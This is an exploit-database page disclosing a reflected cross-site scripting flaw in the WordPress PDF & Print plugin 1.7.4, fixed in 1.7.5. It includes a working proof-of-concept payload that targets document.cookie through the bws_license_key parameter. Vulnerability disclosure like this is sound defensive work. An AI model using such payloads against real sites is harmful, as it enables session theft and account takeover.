[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

WordPress PDF And Print 1.7.4 Cross Site Scripting Vulnerability

Author
Madhu Akula
Risk
[
Security Risk Low
]
0day-ID
0day-ID-24747
Category
web applications
Date add
18-12-2015
Platform
php
WordPress PDF And Print 1.7.4 Cross Site Scripting Vulnerability

Plugin Name : PDF & Print
 
Effected Version : 1.7.4 (and most probably lower version's if any)
 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Madhu Akula
 

Technical Details
 
Minimum Level of Access Required : Administrator
 
PoC - (Proof of Concept) :
 
http://localhost/wp-admin/admin.php?page=pdf-print.php&action=go_pro
 
bws_license_key =”><img src=x onerror=prompt(document.cookie);>
 
 
Vulnerable Parameter : bws_license_key
 
Type of XSS : Reflected
 
Fixed in : 1.7.5
 
http://wordpress.org/plugins/pdf-print/changelog/

#  0day.today [2024-11-15]  #